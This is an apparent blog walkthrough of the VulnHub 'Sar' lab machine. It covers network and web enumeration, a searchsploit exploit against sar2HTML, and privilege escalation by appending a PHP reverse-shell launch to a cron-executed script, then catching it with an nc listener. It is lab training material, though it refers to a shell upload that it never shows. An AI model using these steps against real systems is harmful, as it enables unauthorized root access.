VulnHub Walkthrough: Sar
Sar Walkthrough
Details
- Name: Sar (VulnHub)
- Goal: Get root and read the only flag
Initial Network Scan
sudo netdiscover
From the network scan we find that the target IP is 192.168.1.10.
Network Scan
Now we lok into doing a more indepth scan of the target machine to locate any open ports.
# Scan ports 0-65535
nmap -A -p0-65535 192.168.1.10
From here, because I saw that port 80 was open, I decided to run a more in-depth nmap scan to enumerate HTTP.
# Scan all ports, enumerate HTTP, etc.
sudo nmap -sC -sV -A -O -p- -T4 -script http-enum 192.168.1.10
HTTP directory enumeration
Before I start exploring the website, I want to run a gobuster, nikto, and dirb scan to see if there are any hidden directories.
# Gobuster scan: Big wordlist
gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -e -t 20 -u http://192.168.1.10
# Nikto scan
nikto -h http://192.168.1.10
# dirb scan
dirb http://192.168.1.10
From the scans, we find a /robots.txt directory. When we explore this page (http://192.168.1.10/robots.txt), we find a hidden directory sar2HTML.
From here we can once again try scanning the site with our tools.
# Gobuster scan: Big wordlist
gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -e -t 20 -u http://192.168.1.10/sar2HTML
# Nikto scan
nikto -h http://192.168.1.10/sar2HTML
# dirb scan
dirb http://192.168.1.10/sar2HTML
From the nikto scan we find something interesting
+ /sar2HTML/index.php?module=ew_filemanager&type=admin&func=manager&pathext=../../../etc: EW FileManager for PostNuke allows arbitrary file retrieval.
Vulnerability
I went ahead and did a quick search on searchsploit to see if I could find anything of use. Surely enough, when I searched for "sar2HTML", I found a vulnerability that allows for arbitrary file retrieval.
# Search for exploit
searchsploit sar2HTML
# Download the python exploit
searchsploit -m 49344
# Download the text exploit
searchsploit -m 47204
After looking through both of the exploits, I essentially determined that explain the same thing. I decided to go with the python exploit since it makes things much easier to do, in terms of running the exploit.
# Run the python exploit
python3 49344.py
## Enter the website: http://192.168.1.10/sar2HTML
Boom we're (sort of in)
Exploring the system
Once in, I decided to immediately go check the home directory to see if there was anything of use.
Fortunately I was able to find something within the users love directory
# Check for any users
ls -halt /home
# Check the love directory
ls -halt /home/love/*
# We discover a "user.txt" file
cat /home/love/user.txt
The user.txt file contains the following:
427a7e47deb4a8649c7cab38df232b52
This is the user flag.
Privilege Escalation
From here I explored the /var/www/html directory and found 2 interesting files:
- finally.sh
- write.sh
finally.sh
#!/bin/bash
./write.sh
write.sh
#!/bin/bash
touch /tmp/gateway
So in summary, we can tell that the finally.sh script is running the write.sh script.
Cron Jobs
Through some digging we find out that there is a cronjob running every five minutes that will execute the finally.sh script as sudo.
# Search through cron job
cat /etc/crontab
From here we know that all we need to do is edit the write.sh script to run a reverse shell.
So we will append a reverse shell to the write.sh script. More specifically we will just use the php script we uploaded earlier to give us the first backdoor shell.
# append the line to the write.sh script
echo "php ./sar2HTML/shell.php" >> ./write.sh
From here we just need to wait for the cron job to run and we will have a reverse shell.
# Start a listener
nc -lvnp 9001
After waiting a few minutes, we get a reverse root shell.